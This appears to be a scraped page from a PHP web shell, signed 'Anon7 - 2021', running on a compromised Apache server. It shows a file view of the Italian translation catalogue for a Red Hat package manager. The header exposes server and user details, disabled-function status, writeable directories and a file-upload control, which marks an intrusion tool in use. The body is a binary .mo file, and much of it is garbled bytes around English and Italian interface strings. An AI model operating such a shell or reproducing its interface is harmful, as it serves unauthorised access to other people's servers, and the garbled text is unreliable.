KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/it/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/it/LC_MESSAGES/pirut.mo
LF	(PDy
*<
Q_	y"\!#YE;hDXatQ%<.ks+


"7#9:Q3	''<RfzQpU.j'C(&H$o"1%6I!X-z#

9 Zuy	&0#C"g
0-A9o- (x!'eZ=([K "i } !
!1,!K^!'!k!->"l"
"""'"""##/#QA#	###<#8#6$DS$~$%
%,%3%B%J%R%Y%	m%w%%%%%%%%%%%%
&& &,&5&F&
U&c&j&r&z&&&&&M&X(9k(S(())/)@)W)k)~)
)!)	)")b)!Y* {*c*A+lB+++++,(,^B,/,Z,,-,9--f-
----- -.-.!.!.)/42/ g/K/=/00,0380l0.000011c 1l11820J2M{2$292:(39c33A3H3 G4h444464#4535"R5u55A5.5606K6
66#627A7"[7)~77&7#7%8)8>D8?8>8!9+$9P939::.o;`;-;y-<Q<-<'=*=D=d >3>~>>8?w???%?1?#@6@P@a@@c@@
AA6=A5tAAMABBBBBBBBBC*C	ICSC_CfClCrCyCCCCC
CCCC#D(D:DFDOD
VD(aDDDDD]
v-e0H?yR}(oTWYrEOF:^_X&m;8Bub)cU'Cads
.f=Jjk M<7@gq6NP~%n3`2AQ\[+/i*,Dp	5#1L9{I$"xwlht4zSK!G>VZ|%d of %d optional package selected%d of %d optional packages selected%d update available%d updates available%d update successfully installed.%d updates successfully installed.%s obsoletes %s%s updates %s<b>Re_positories</b><b>_Advanced</b><b>_Description:		</b><b>_GPG Key:</b><b>_Location:</b><b>_Mirror List:</b><b>_Name:</b><b>_Updates available</b><i>%s</i><span size="large" >_Browse</span><span size="large">There are no updated packages currently available for your system.</span><span size="large">_List</span><span size="large">_Search</span><span size="xx-large" weight="bold">Package Manager</span>

<i>© 2005  Red Hat, Inc.</i><span weight="bold"
 size="xx-large">Package Updater</span><span weight="bold" size="x-large">Installing packages</span>

The following packages will be installed.A_vailable packagesAbout...Add New RepositoryAdd/Remove PackagesAdd/Remove SoftwareAdding for dependencies:
Another application is currently running which is accessing software information.Automatic update installation failed!Can't install a different arch of %s than already installed.Cancel?Cannot install source packages.Change the software installed on the systemCleanup %sConfig error.ContinueDependencies addedDon't notify me againDownload was cancelled.Downloading packagesDue to the updates installed, it is recommended that you reboot your system.  You can either reboot now or choose to do so at a later time.Error downloading headersError downloading packagesError resolving dependenciesError retrieving update informationError updating softwareErrors were encountered while downloading package headers.Errors were encountered while downloading packages.ExitImport key?Insert CDInstall and remove packages as selectedInstall packagesInstall selected software on the systemInstallation OverviewInstalling packagesInstalling softwareInstalling:Invalid URLInvalid URL given.  URLs must be begin with http://, https://, ftp://, or file://Malicious software can damage your computer or cause other harm.  Are you sure you wish to install this package?Must be run as root.Must provide a description for the repository.Must provide a name for the repository.Must provide either a location or a mirror list for the repository.No Match for argument: %sNo packages were given for installation.No packages were selected for upgrade.No repository given to install from.No repository selectedNo software matching search found.No software selected for installation or removal.No updates availablePackage ManagerPackage _DetailsPackage selectionsPackages in %sParsing package install argumentsPlease insert %s (disc %d) into your CD drivePlease insert %s into your CD drivePreparing transactionReading software informationReboot _laterReboot recommendedReceive notification of software updates being available.Refresh update informationRemoving critical softwareRemoving for dependencies:
Removing this could leave you with no kernels and thus lead to a non-bootable system.  Are you sure you want to continue?Removing:Repository ManagerRepository named %s already exists.Resolving dependencies for updatesRetrieving %sRetrieving software informationRetrieving update informationSearching for '%s'Security Updates AvailableSoftware InstallerSoftware Update NotifierSoftware UpdaterSoftware information is required to continue.Software installation and removal successfully completed.Software installation successfully completed.Software installed successfully.Software removal successfully completed.Software selected and not installed.  Would you like to finish installing or quit anyway, losing all package selections?Software update successfully completed.Some of the software which you are removing is either critical software for system functionality or required by such software.  Are you sure you want to continue?Some packages associated with this group are not required to be installed but may provide additional functionality.  Please choose the packages which you would like to have installed.System is not receiving updatesThe package %s is signed with a key %s (0x%s) from %s.  Would you like to import this key?The software was successfully installed.There is <b>%d</b> package update available.There are <b>%d</b> package updates available.There were errors encountered in trying to update the software you selectedThis update will require a reboot.Unable to connect to yum-updatesd.  Please ensure that the yum-updatesd package is installed and that the service is running.Unable to find a suitable mirror.Unable to install software.  Error opening files.Unable to resolve dependencies for some packages selected for installation.Unable to retrieve software informationUnable to retrieve software information. This could be caused by not having a network connection available.Unable to start due to a configuration error.Unable to verify %sUncategorizedUpdate DetailsUpdate SuccessfulUpdate software installed on the systemUpdated %s packages availableUpdates AvailableUpdating %sUpdating for dependencies:
Updating softwareUpdating these packages requires additional package changes for proper operation.Updating:Verifying packagesView Updates...Will continue in %d second...Will continue in %d seconds...Will reboot in %d second...Will reboot in %d seconds...Will reboot in %d seconds...You have selected the following software installations and removals.Your system is currently not receiving software updates.  Please check your network connection and/or set up software updates._About_All packages_Apply_Apply updates_Browse_Cancel_Close_Continue retrieval_Deselect_Deselect all optional packages_Details_Don't quit_Edit_Exit_File_Help_Import key_Install anyway_Installed packages_List_Optional packages_Quit_Quit anyway_Reboot now_Refresh_Refresh updates_Remove anyway_Repositories_Retry_Search_Select_Select all optional packages_Update Info_View_View Updates...dialog1Project-Id-Version: it
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-08-29 17:18-0400
PO-Revision-Date: 2007-09-11 02:39+0200
Last-Translator: 
Language-Team:  <it@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.9.1
Plural-Forms:  nplurals=2; plural=(n != 1);
%d di %d pacchetti opzionali selezionati<i>%d di %d pacchetti opzionali selezionati</i>%s aggiornamento disponibile%s aggiornamenti disponibili%d aggiornamento installato con successo.%d aggiornamenti installati con successo.%s obsoleti %s%s aggiornamenti %s<b>Re_positori</b><b>_Avanzato</b><b>_Descrizione:		</b><b>Chiave _GPG:</b><b>_Posizione:</b><b>Elenco dei _Mirror:</b><b>_Nome:</b><b>_Aggiornamenti disponibili</b><i>%s</i><span size="large" >_Naviga</span><span size="large">Non ci sono pacchetti aggiornati attualmente disponibili per il sistema.</span><span size="large">_Elenca</span><span size="large">_Cerca</span><span size="xx-large" weight="bold">Amministrazione pacchetti</span>

<i>© 2005  Red Hat, Inc.</i><span weight="bold"
 size="xx-large">Updater dei pacchetti</span><span weight="bold" size="x-large">Installazione pacchetti</span>

I seguenti pacchetti verranno installati.Pacchetti _DisponibiliInformazioni su...Aggiungi nuova repositoryAggiungi/Rimuovi pacchettiAggiungi/Rimuovi SoftwareAggiunta per dipendenze:
Attualmente è in esecuzione un'altra applicazione la quale accede alle informazioni software.Installazione aggiornamento automatico fallita!Non è possibile installare un architettura differente di %s rispetto a quella installata._Cancellare?Impossibile installare i pacchetti sorgente.Modificare il software installato sul sistemaPulizia di %sErrore di configurazione.ContinuaDipendenze aggiunteNon notifacarlo nuovamente.Il download è stato cancellato.Download dei pacchettiA causa degli aggiornamenti installati, si raccomanda di riavviare il sistema.  E' possibile sia riavviare ora che scegliere di riavviare più tartdi.Errore nel download degli headersErrore nel download dei pacchettiErrore nella risoluzione delle dipendenzeErrore nel recupero informazioni per l'aggiornamentoErrore di aggiornamento softwareSi é verificato un errore durante il download degli headers dei pacchetti.Si é verificato un errore durante il download dei pacchetti.EsciImportare la chiave?Inserire CDInstallare e rimuovere i pacchetti come selezionatoInstallazione pacchettiInstallare il software selezionato sul sistemaPanoramica dell'installazioneInstallazione pacchettiInstallazione del softwareInstallazione:URL invalidoÈ stato fornito un URL invalido.  Gli URL devono iniziare con http://, https://, ftp://, o file://Software malevolo può danneggiare il computer o causare altri danni.  Installare comunque questo pacchetto?Deve essere eseguito come root.È necessario fornire una descrizione per la repository.È necessario fornire un nome per la repository.È necessario fornire una posizione o un elenco dei mirror per la repository.Nessun riscontro per l'argomento: %sNon é stato fornito alcun pacchetto per l'installazione.Nessun pacchetto é stato selezionato per l'aggiornamento.Non é stato fornito alcun repositorio da cui installare.Nessuna repository selezionataNon è stato trovato nessun software corrispondente alla ricerca.Nessun software é stato selezionato per l'installazione o la rimozione.Nessun aggiornamento disponibileAmministrazione pacchetti_Dettaglio pacchettiSelezioni dei pacchettiPacchetti in %sParsing degli argomenti di installazione del pacchettoInserire %s (disco %d) nel CD driveInserire %s nel CD drivePreparazione della transazioneRecupero informazioni sul softwareRiavviare in _seguitoRiavvio raccomandatoRicevere notifica della disponibilità di aggiornamenti software.Rinnovo delle informazioni sugli aggiornamentiRimozione del software criticoRimozione per dipendenze:
Rimuovendo questo pacchetto si potrebbe lasciare il sistema privo di kernels e non avviabile.  Si è sicuri di voler continuare?Rimozione:Repository ManagerLa repository %s è già esistente.Risoluzione delle dipendenze per gli aggiornamentiRipristino di %s in corsoRecupero informazioni sul softwareRecupero informazioni per l'aggiornamentoRicerca di '%s'Aggiornamenti di sicurezza disponibiliProgramma di installazione softwareNotifica degli aggiornamenti softwareAggiornamento del softwarePer poter continuare sono necessarie le informazioni software.Installazione o rimozione del software completata con successo.L'installazione del software é stata completata con successo.Software installato con successo.Rimozione software completata con successo.Software selezionato e non installato. Vuoi terminare l'installazione o uscire comunque, perdendo tutte le selezioni dei pacchetti?Aggiornamento del software completato con successo.Alcuni dei software che si desidera rimuovere sono critici per le funzionalità del sistema o richiesti da un tale tipo di software.  Si è certi di voler continuare?Alcuni pacchetti associati a questo gruppo non sono richiesti per l'installazione ma potrebbero fornire funzionalità aggiuntive. Si prega di scegliere i pacchetti che si desidera installare.Il sistema non sta ricevendo gli aggiornamentiIl pacchetto %s é segnato con una chiave %s (0x%s) da %s.  Si desidera importare questa chiave?Il software è stato installato con successo.È disponibile l'aggiornamento per il pacchetto <b>%d</b>.Sono disponibili gli aggiornamenti per il pacchetto <b>%s</b>.Si sono verificati degli errori nel tentare di aggiornare i software selezionati.Questo aggiornamento necessiterà un riavvio.Impossibile collegarsi a yum-updatesd. Assicuratevi che il pacchetto yum-updatesd sia stato installato ed il servizio sia in esecuzione.Impossibile trovare un mirror disponibile.Impossibile installare il software.  Errore nell'apertura dei files.Non é stato possibile risolvere le dipendenze per alcuni pacchetti selezionati per l'installazione.Impossibile recuperare le informazioni sul softwareImpossibile recuperare le informazioni sul software.  Ciò potrebbe essere causato da una connessione di rete non disponibile.Impossibile cominciare a causa di un errore di configurazione.Impossibile verificare %sNon categorizzatoDettagli aggiornamentoAggiornamento effettuato con successoAggiornamento del software installato sul sistemaPacchetti %s aggiornati disponibiliAggiornamenti disponibiliAggiornamento %sAggiornamento per dipendenze:
Aggiornamento softwareL'aggiornamento di questi pacchetti richiede ulteriori cambiamenti per operare in modo appropriato.Aggiornamento:Verifica pacchettiVisualizza gli aggiornamenti...Continuare fra %d secondiContinuare fra %d secondi.. Riavvio fra %d secondo/i...Riavvio fra %d secondi...Riavvio fra %d secondi...Il seguente software é stato selezionato per l'installazione o la rimozione.Il sistema non sta ricevendo gli aggiornamenti software.  Si ricontrolli la connessione di rete e/o reimposti gli aggiornamenti software._Informazioni suTutti i p_acchetti_Applica_Applica aggiornamenti_Naviga_Annulla_Chiudi_Continua il ripristino_Deseleziona_Deselezionare tutti i pacchetti opzionali_Dettagli_Non uscire_Edita_Esci_File_Aiuto_Importa chiave_Installa comunquePacchetti _installati_ElencaPacchetti _opzionali_Abbandona_Esci comunque_Riavviare ora_Aggiornare_Rinnovo informazioni aggiornamenti_Rimuovi comunque_Repositori_Riprova_Cerca_Seleziona_Selezionare tutti i pacchetti opzionaliInfo aggiornamenti_Vedi_Visualizzare aggiornamenti...dialog1

Anon7 - 2021